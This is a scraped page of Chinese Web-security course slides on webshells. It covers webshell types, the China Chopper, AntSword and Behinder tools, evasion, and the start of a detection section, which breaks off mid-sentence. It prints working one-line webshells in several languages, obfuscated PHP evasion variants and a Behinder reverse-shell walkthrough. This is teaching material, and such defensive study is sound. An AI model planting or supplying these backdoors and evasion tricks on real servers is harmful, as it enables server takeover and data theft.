Web安全基础教与学 课件 第6章 Webshell基础_第1页
Web安全基础教与学 课件 第6章 Webshell基础_第2页
Web安全基础教与学 课件 第6章 Webshell基础_第3页
Web安全基础教与学 课件 第6章 Webshell基础_第4页
Web安全基础教与学 课件 第6章 Webshell基础_第5页
已阅读5页,还剩31页未读, 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

Web安全实践第6章Webshell基础授课教师:XXX目录CONTENTS6.1Webshell原理6.3Webshell管理工具6.4Webshell免杀6.5Webshell检测6.6习题6.7本章小结6.2Webshell分类6.1Webshell原理Webshell是一类由攻击者基于Web编程语言编写的恶意脚本。Webshell可以看作Web和Shell的结合,其中Web指Web服务器,Shell指控制服务器的命令行界面。Webshell能够通过Web服务获取Web服务器的管理权限,从而对Web服务器进行深入渗透和控制。Webshell可以视作一种Web木马,对于攻击者而言是一种网站后门。Webshell本身并不具备直接攻击或利用远程漏洞的能力,因此攻击者通常会先通过漏洞攻陷Web应用程序,然后将Webshell植入被攻陷的主机以发挥其作用。6.1Webshell原理攻击者利用Webshell可以实现多种目的,包括以下6种。(1)收集和外传敏感数据:攻击者可以利用Webshell获取服务器中的敏感信息,如用户凭证、数据库内容、网站源码等,并将这些信息外传以用于进一步的攻击。(2)上传恶意软件:攻击者可以利用Webshell上传其他恶意软件,进一步扩散攻击。(3)充当跳板机:被植入Webshell的主机可以充当攻击者的跳板机,向内部网络中无法直接访问互联网的主机发布命令,从而进一步渗透并控制目标系统。(4)构建僵尸网络:攻击者可以利用Webshell使得每台被感染的主机都成为能够被攻击者远程操控的傀儡机,并将其纳入僵尸网络。攻击者可以集中控制这些傀儡机,使其同时执行相同的命令,进而执行大规模的攻击活动,如执行分布式拒绝服务(DoS)攻击。(5)篡改网站内容:攻击者可以通过修改文件实现恶意篡改网站内容,从而达成传播虚假信息、制造混乱或炫耀攻击等目的。(6)植入暗链:攻击者可以利用Webshell向网站添加JavaScript等代码,以植入暗链并为其他恶意网站增加访问流量,从而获取不当利益。6.1Webshell原理(1)成功上传Webshell且Webshell未被拦截和清除。(2)明确Webshell在服务器中的存储路径,并能够从外部网络访问该路径。(3)上传的Webshell能够被服务器正常解析执行,即服务器配置需要支持运行Webshell所使用的编程语言(如PHP、ASP、JSP等)。攻击者要成功利用Webshell,需要同时满足以下三个条件:攻击者植入/访问Webshell与用户正常访问网页的原理对比6.1Webshell原理攻击者植入/访问Webshell与用户正常访问网页有相似之处。(1)攻击者与用户均通过HTTP(S)协议与Web服务器交互通信。(2)攻击者植入/访问的Webshell与正常网页处于能够被外部网络访问的位置,通常位于Web服务器的网站目录中。但二者也有不同之处。(1)用户访问的Web应用程序通常被认为是安全的、经过安全配置和防护的;而攻击者植入/访问Webshell的Web应用程序一定是脆弱的、存在漏洞缺陷的。(2)用户正常访问网页时,通常会触发与数据库的交互,包括增删改查等操作;而攻击者通过植入/访问Webshell,不仅能够操作和控制数据库,还可能与操作系统、内网其他主机产生交互,甚至实现对它们的全面控制。6.2Webshell分类Webshell类型众多,基于不同的角度可进行多种分类。(1)根据使用的编程语言分类,可分为基于PHP、ASP、JSP、Perl、Python等语言的Webshell。(2)根据代码展现形式分类,可分为非编码型Webshell、编码型Webshell和无文件型Webshell。非编码型Webshell指恶意代码以清晰可读的明文形式呈现,通常未经过编码或混淆;编码型Webshell指通过编码或混淆技术处理Webshell代码,相比非编码型Webshell增加了检测的难度;无文件型Webshell是一种特殊的Webshell,与传统的Webshell不同,它不在服务器上创建或修改文件,而是将恶意代码直接注入服务器的内存中。(3)根据代码量大小分类,可分为大马、小马、一句话木马和内存马。这是一种较为常见的Webshell分类方法,其顺序也反映了Webshell的发展演变历程。以下详细介绍大马、小马、一句话木马和内存马。6.2Webshell分类1.大马大马具有较大的代码量,包含多个功能模块,涵盖广泛的攻击手段。大马支持在渗透过程中可能用到的多种功能,通常具有文件管理、命令执行、端口扫描、数据库管理、提权、反弹Shell等功能。如图是一个典型的大马示例,其中含有多项功能模块,代码量达到了数千行。大马是Webshell发展早期的一个阶段性标志,其主要目标是实现更为复杂和全面的攻击。由于代码量庞大,大马通常难以绕过安全防护机制的检测。6.2Webshell分类2.小马相较于大马,小马的特点主要是代码量小、功能相对简单,通常专注于执行一个或两个特定功能,如文件上传、命令执行等。在实际攻击中,攻击者通常先上传小马,再通过小马上传大马,即所谓的“小马拉大马”。小马的出现是为了应对日益提升的安全防护水平,攻击者希望通过采用更轻便、更隐蔽的Webshell形式规避检测,从而提高攻击成功率。一个典型的小马示例,其主要功能是文件上传,代码仅几十行。6.2Webshell分类3.一句话木马顾名思义,一句话木马通常只包含一行代码,这行代码能够执行任何通过参数传递的代码或命令。一句话木马的特点是代码量极小,使得在植入目标系统时更为隐蔽。<?phpeval($_POST["cmd"]);?>典型的PHP一句话木马如下。其中:(1)“<?php”:PHP的起始标记,表示接下来的内容是PHP代码。(2)“eval()”:eval()作为语言结构常用于代码执行,将字符串视为PHP代码并执行。(3)“$_POST["cmd"]”:传递数据,攻击者通过“$_POST["cmd"]”获取POST请求中名为cmd的参数的值,这个参数的值将被传递给eval()进行执行。(4)“?>”:PHP的结束标记。6.2Webshell分类ASP:<%evalrequest("cmd")%>ASPX:<%@PageLanguage="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>JSP:<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>一句话木马先通过变量获取用户输入,然后执行代码。其他编程语言的一句话木马大同小异,典型示例如下。直观上看,一句话木马仅能实现代码执行或命令执行的基本功能,功能相对简单。因此,目前的一句话木马通常需要配合Webshell管理工具,以实现更多高级功能和复杂操作。相比于前述的大马和小马,一句话木马具有更好的隐蔽性,更容易通过代码变形等方式隐藏特征,更容易绕过安全机制的检测,其使用更为普遍。随着时间的推移,大马和小马逐渐被一句话木马所取代,因此当提到小马时,通常会将其理解为一句话木马。一句话木马的兴起标志着攻击者在追求轻量级和高效率的同时,也力求减少痕迹并降低被检测的风险。6.2Webshell分类4.内存马不同于传统的Webshell,内存马是一种特殊的Webshell,不依赖服务器文件系统创建或修改文件,而是利用服务端的漏洞或不安全的配置,将恶意代码加载到服务器的内存中,且过程中不会在磁盘留下文件痕迹,最终实现远程控制和恶意操作。由于Java内存马较为流行,因此当提到内存马时,通常会将其理解为Java内存马。Java内存马种类繁多,一般利用中间件的进程执行恶意代码。随着防御技术的不断进步,传统的文件型Webshell在现有的防御措施下难以长期有效地在目标系统内存活,在防守方利用多种防御技术的情况下,传统的文件型Webshell甚至可能无法“落地”(“落地”在此指的是将恶意文件成功写入服务器的文件系统)。相比之下,内存马更符合攻击技术发展的需求,其无文件落地和将恶意代码注入内存等特性赋予了内存马更好的隐蔽性,使其更容易规避传统安全监测设备的检测。6.3Webshell管理工具Webshell管理工具是指专门用来管理Webshell的客户端工具。大马实现了较多的功能模块,可以直接通过浏览器访问,但不支持多个Webshell的集中管理;小马和一句话木马本身功能较为有限,因此需要配合Webshell管理工具以实现更多高级功能和复杂操作。攻击者常用中国菜刀(ChinaChopper)、中国蚁剑(AntSword)、冰蝎(Behinder)、哥斯拉(Godzilla)等Webshell管理工具实现主机权限获取、内网横向移动、数据窃取修改等大量恶意攻击行为,以下将详细介绍其中几款工具。6.3Webshell管理工具1.中国菜刀(ChinaChopper)中国菜刀的主界面。中国菜刀是一款专业的Webshell管理工具,体积小巧且功能强大,支持动态脚本的网站都可以使用中国菜刀进行管理。6.3Webshell管理工具在空白位置右击并选择“添加”即可添加Webshell,在其中“地址”框中填写Webshell的访问地址,在“地址”框右侧小框中填写连接参数(例如,“<?phpeval($_POST["cmd"]);?>”的连接参数为“cmd”),最后单击“添加”按钮即可。右击新添加的Webshell即可查看文件管理、数据库管理、虚拟终端、自写脚本等主要功能。6.3Webshell管理工具单击“文件管理”选项,即可对目标主机的磁盘文件进行管理,可以浏览目标主机的磁盘文件,并对其进行添加、删除、修改等操作。单击“虚拟终端”选项,即可远程连接目标主机的终端以执行系统命令。6.3Webshell管理工具2.中国蚁剑(AntSword)中国蚁剑是一款开源的跨平台网站管理工具,主要面向合法授权的渗透测试安全人员及进行常规操作的网站管理员。相比中国菜刀,中国蚁剑更加强大,拥有丰富的功能插件,拓展性强,而且支持跨平台使用。有关中国蚁剑的更多介绍请阅读本课程的4.7节。6.3Webshell管理工具单击“传输协议”选项,在“协议名称”中选择服务端支持的传输协议(此处选择“default_xor_base64”),再单击“生成服务端”即可在本地文件夹中生成相应的Webshell。使用冰蝎生成Webshell:6.3Webshell管理工具将shell.php上传至目标服务器,然后在冰蝎中右击并选择“新增”选项,填写Webshell的URL,选择对应的传输协议(此处选择“default_xor_base64”),最后单击“保存”按钮。管理PHP语言编写的Webshell。6.3Webshell管理工具双击打开新增的Webshell,如果连接成功则会显示基本信息,该页面包含多个选项卡。6.3Webshell管理工具(1)命令执行:允许执行单条操作系统命令6.3Webshell管理工具(2)文件管理:允许对文件进行上传、删除、修改、查看等操作,其中上传的文件都是加密传输,可以避免被拦截。6.3Webshell管理工具(3)内网穿透:提供了多种穿透方案,包括基于VPS(VirtualPrivateServer,虚拟专用服务器)中转的端口映射、基于HTTP隧道的端口映射、基于VPS的Socks代理映射、基于HTTP隧道的Socks代理映射以及反向DMZ(DemilitarizedZone,非军事化区)映射。6.3Webshell管理工具(4)反弹Shell:支持一键反弹Shell、反弹Meterpreter和反弹CobaltStrike。反弹Shell允许受害机主动向攻击机发起连接请求,攻击机则监听指定的端口以等待连接,注意:攻击机可能有多台,分别用于监听和响应不同的反弹连接。Meterpreter是Metasploit框架中的一部分,提供了丰富的后渗透模块。CobaltStrike是一个高级的渗透测试工具包,通过反弹CobaltStrike,攻击者可以实现复杂的攻击链,包括内网横向移动、持久化访问等。此处基于Windows10攻击机(IP:02)、Windows7靶机(IP:01)和CentOS7攻击机(IP:03)进行演示。在Windows10攻击机中打开冰蝎的反弹Shell界面,在命令窗口输入命令“sshroot@03”以连接CentOS7攻击机,然后输入命令“nc-lvp9090”以启动CentOS7攻击机对9090端口的监听服务,接着输入CentOS7攻击机的IP地址(即03)和端口(即9090),选择“Shell”选项并单击“给我连”按钮,即可建立Windows7靶机到CentOS7攻击机的连接。6.3Webshell管理工具反弹Shell界面6.3Webshell管理工具(5)数据库管理:冰蝎目前支持对SQLServer、MySQL、Oracle的连接6.4Webshell免杀为了规避或绕过Webshell检测和查杀机制,使得Webshell能够在服务器上长期隐藏,攻击者通常会通过多种手段对Webshell进行免杀处理。免杀是指攻击者通过技术手段对恶意代码进行混淆、加密或伪装,使其能够规避或绕过安全工具的检测和查杀。以下介绍几种常见的免杀方法。1.字符串编码/加密攻击者可以通过字符串编码或加密,将Webshell的恶意代码进行混淆和隐藏,以规避或绕过安全工具的检测和查杀。(1)攻击者可以使用Base64编码、十六进制编码、ASCII编码等方法替换敏感字符,示例代码如下。<?php$arg=base64_decode($_GET["arg"]);//将通过GET请求传递的参数进行Base64解码$a="a";$s="s";$c=$a.$s.$_GET["func"];//拼接$a、$s和通过GET请求传递的参数,生成函数名$c($arg);//调用由$c指定的函数,并将解码后的$arg作为参数传func递给该函数?>6.4Webshell免杀(2)攻击者还可以使用内置的加密函数(如PHP中的OpenSSL加密函数)或自定义加密函数对内容进行加密,并在调用时进行动态解密,示例代码如下。<?php//自定义加密函数functioncustom_encrypt($data,$key){$key=substr(hash('sha256',$key,true),0,16);//生成16字节密钥$iv=substr(hash('sha256',$key,true),0,16);//生成16字节初始向量$encrypted=openssl_encrypt($data,'aes-128-cbc',$key,0,$iv);$encrypted=base64_encode($encrypted);//Base64编码//自定义混淆$obfuscated=str_rot13($encrypted);//ROT13编码return$obfuscated;}//自定义解密函数functioncustom_decrypt($data,$key){$key=substr(hash('sha256',$key,true),0,16);//生成16字节密钥$iv=substr(hash('sha256',$key,true),0,16);//生成16字节初始向量6.4Webshell免杀//自定义解混淆$deobfuscated=str_rot13($data);//ROT13解码$decrypted=base64_decode($deobfuscated);//Base64解码returnopenssl_decrypt($decrypted,'aes-128-cbc',$key,0,$iv);}//Webshell代码$webshell='eval($_POST["cmd"]);';//加密密钥$key='web-security';//加密Webshell$encrypted_webshell=custom_encrypt($webshell,$key);echo'EncryptedWebshell:'.$encrypted_webshell."\\n";//在需要时解密并执行Webshell$decrypted_webshell=custom_decrypt($encrypted_webshell,$key);eval($decrypted_webshell);?>6.4Webshell免杀在上述代码中,自定义加密函数custom_encrypt()使用SHA-256生成16字节的密钥和初始向量,对数据进行AES-128-CBC加密,并使用Base64编码、ROT13编码进行混淆。自定义解密函数custom_decrypt()则对数据进行ROT13解码、Base64解码,然后使用相同的密钥和初始向量进行AES-128-CBC解密。2.字符串拆分构造攻击者可以将一些关键字符串拆成多段,用多个不同的参数进行传递,在需要时再进行拼接即可实现代码混淆。该方法不仅有效混淆了代码,还能够规避简单的字符串匹配检测。例如,攻击者可以利用自增、异或、取反等运算符构造敏感字符串,示例代码如下。<?php//初始时$_未被定义,默认为NULL,自增后结果为整型1$_++;//("#"^"|")的计算结果是_//("."^"~")的计算结果是P("/"^"`")的计算结果是O//("|"^"/")的计算结果是S("{"^"/")的计算结果是T$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");//${$__}[!$_](${$__}[$_])的计算结果是$_POST[0]($_POST[1])${$__}[!$_](${$__}[$_]);?>6.4Webshell免杀3.利用其他方式接收外部指令参数攻击者可以通过多种非常规方式传递命令参数,例如,利用环境变量相关函数获取外部参数,示例代码如下。<?phpsystem(getenv('HTTP_USER_AGENT'));?>在上述代码中,攻击者可以通过在HTTP请求头中设置User-Agent字段,将一句话木马的内容传递给getenv()函数。这种方式并不依赖于常见的GET或POST参数传递,很可能绕过传统的输入检测机制。此外,攻击者还可以利用PHP原生函数获取外部参数,例如,利用get_defined_vars()函数获取当前作用域中所有已定义的变量,利用getallheaders()函数获取所有HTTP请求头信息。6.4Webshell免杀4.代码间插入注释攻击者可以在代码间插入注释,其中注释不会影响程序的正常执行,但是可能对检测工具造成干扰,示例代码如下。<?phpeval/**/($_POST[0]);?>在上述代码中,注释“/**/”不会影响程序的正常执行,但可能使简单的正则表达式检测工具无法识别eval语言结构。6.5Webshell检测为对抗Webshell免杀,及时发现并阻止潜在的Webshell,研究人员目前已提出多种Webshell检测方法。根据信息来源和分析对象的不同,Webshell检测方法可以分为三种:(1)基于后门文件的检测:在攻击者试图上传恶意文件到服务器之前,通过检测恶意文件的文件名、文件内容、文件哈希值、文件大小、文件访问时间、文件权限等特征阻止后门文件的上传,常用特征还包括Webshell的常见代码片段、关键字和加密算法的签名。(2)基于通信流量的检测:在攻击者与服务器中Webshell的交互过程中,通过监测通信流量,分析协议层面的数据交互,以识

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论